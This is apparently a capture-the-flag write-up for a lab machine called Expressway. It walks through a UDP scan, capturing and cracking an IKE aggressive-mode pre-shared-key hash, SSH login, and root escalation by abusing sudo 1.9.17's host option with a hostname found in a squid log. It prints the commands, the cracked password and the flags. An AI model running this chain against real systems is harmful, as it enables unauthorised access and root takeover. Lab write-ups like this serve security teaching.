Nov 1, 2025

Expressway

Summary

A misconfigured IKE service discloses a system user, as well as a password hash of an easy to guess password. After cracking the hash, we obtain a user shell over SSH. Since the compromised user has a non-default group membership, we can access a log file that reveals information that we can use to abuse an outdated sudo installation. This grants us an interactive shell as the root user.

Solution

Reconnaissance

The initial TCP port scan using Nmap doesn’t indicate any open ports besides SSH. However, results of the UDP scan indicate another open port.

nmap 10.10.11.87 -sU -top-ports 50
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-01 21:01 CET
Nmap scan report for expressway.htb (10.10.11.87)
Host is up (0.037s latency).
Not shown: 45 open|filtered udp ports (no-response)
PORT     STATE  SERVICE
7/udp    closed echo
500/udp  open   isakmp
997/udp  closed maitrd
1645/udp closed radius
5353/udp closed zeroconf

As we can see, IPSEC IKE is open on port 500. For enumerating this port, we can follow the instructions from this page. First, let’s scan for some basic information using ike-scan.

ike-scan -M -A 10.10.11.87 
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned
        HDR=(CKY-R=ec3cdff4d7b607c1)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.085 seconds (11.73 hosts/sec).  1 returned handshake; 0 returned notify

User Flag

This output highlights, that the service supports the Agressive Mode. If this mode is active, we are permitted to bruteforce through permutations, which will eventually yield results containing a password hash.

ike-scan -A --pskcrack 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned HDR=(CKY-R=9721c2e50b87a92f) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
cefefb233396445b375de8170042ec16b7ba191c8085d35301c40319a3222281182ff8a22e1f5170d51398defa4184e921c528c2ca3f293b44de74e8f20894f55e4566887ce3ada659e2b59d5130ea80bd1eda3d9df85ea8c5d3cea3622d9485e48cc0fbad7553375a5e4af618d537c745edbf827e3a5a4897e537c37b0ddc0e:56698be0fc97e8ac8fcbcdbb6432691192f73eb922672802000a25b1307292b28f1fe4434d1f47299f7de4a766fd44580d8268fb750089ef6cce79ffa9e9e508f261a40d2d983ac08c5a7b7e321898ba3c0f9b812d2427a8b267b598c4ebd9fc261b604e20c3c971b6e3a80652b2a35d9afd128128df19f5e17a7d9772ce135f:9721c2e50b87a92f:0b9eafba88b68ae9:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:726f1ecd79f263cadbbd56b05d9ad34430c6bb19:d7dd3ee263c100cbbe1c1094b40655e9656397611fb0279376a91cbacc71a1b5:8bcbb4c717ac31a72bce92fefb52aec028996971
Ending ike-scan 1.9.6: 1 hosts scanned in 0.041 seconds (24.12 hosts/sec).  1 returned handshake; 0 returned notify

Great, we not only got a password hash, but the Value banner of the handshake also included a username, likely a system user, called ike. We can crack the hash using Hashcat.

hashcat ike-hash.txt /usr/share/wordlists/rockyou.txt 
<cut>

cefefb233396445b375de8170042ec16b7ba191c8085d35301c40319a3222281182ff8a22e1f5170d51398defa4184e921c528c2ca3f293b44de74e8f20894f55e4566887ce3ada659e2b59d5130ea80bd1eda3d9df85ea8c5d3cea3622d9485e48cc0fbad7553375a5e4af618d537c745edbf827e3a5a4897e537c37b0ddc0e:56698be0fc97e8ac8fcbcdbb6432691192f73eb922672802000a25b1307292b28f1fe4434d1f47299f7de4a766fd44580d8268fb750089ef6cce79ffa9e9e508f261a40d2d983ac08c5a7b7e321898ba3c0f9b812d2427a8b267b598c4ebd9fc261b604e20c3c971b6e3a80652b2a35d9afd128128df19f5e17a7d9772ce135f:9721c2e50b87a92f:0b9eafba88b68ae9:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:726f1ecd79f263cadbbd56b05d9ad34430c6bb19:d7dd3ee263c100cbbe1c1094b40655e9656397611fb0279376a91cbacc71a1b5:8bcbb4c717ac31a72bce92fefb52aec028996971:freakingrockstarontheroad
   
<cut>

That worked. As we have no other service to interact with, we can try these credentials for the open SSH service on the target. This yields a successful login as user ike and allows us to claim the user flag.

Pasted image 20251101213111.png

b3a9486dd3816c62704715bc9461b16b

Root Flag

After manual enumeration for the usual privilege escalation vectors didn’t reveal any major misconfiguration, I decided to run LinPEAS on the box. While it also didn’t find much, it did indicate that the sudo binary was slightly outdated, which I manually checked.

ike@expressway:~$ sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17

While there exists a public exploit for this version, which enables access to the root user, it requires a specific configuration to be abused. Specifically, if a user has sudo privileges on a remote host, we can also obtain this access level on the machine running the vulnerable sudo version. However, there is no sign of such a remote host, at least not in /etc/hosts file. For now, let’s keep this information in mind.

Another thing that I noticed was an additional group membership for the group proxy.

ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)

As this might grant us the permissions to access files that are otherwise inaccessible, we can search for these files.

find / -group proxy 2>/dev/null
/run/squid
/var/spool/squid
/var/spool/squid/netdb.state
/var/log/squid
/var/log/squid/cache.log.2.gz
/var/log/squid/access.log.2.gz
/var/log/squid/cache.log.1
/var/log/squid/access.log.1

While most of these files are empty, we can take a look at /var/log/squid/access.log.1, which seems to be the log of a web service.

ike@expressway:/var/log/squid$ cat access.log.1
<cut>
1753229688.902      0 192.168.68.50 NONE_NONE/000 0 - error:transaction-end-before-headers - HIER_NONE/- -
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
1753229689.010      0 192.168.68.50 NONE_NONE/400 3896 OPTIONS / - HIER_NONE/- text/html
<cut>

Besides some unimportant entries, the file contains an access attempt to offramp.expressway.htb. Might this be a valid domain for the exploit we found before? Let’s check.

sudo -l -h offramp.expressway.htb
Matching Defaults entries for ike on offramp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ike may run the following commands on offramp:
    (root) NOPASSWD: ALL
    (root) NOPASSWD: ALL

Our user as full passwordless access to the offramp subdomain! Following the instructions of the mentioned exploit, we can simply abuse this configuration by spawning an interactive shell.

sudo -h offramp.expressway.htb -i
root@expressway:~# id
uid=0(root) gid=0(root) groups=0(root)

We have root! Now we can collect the root flag.

112a3fdf057e54e470997499f74dd8e4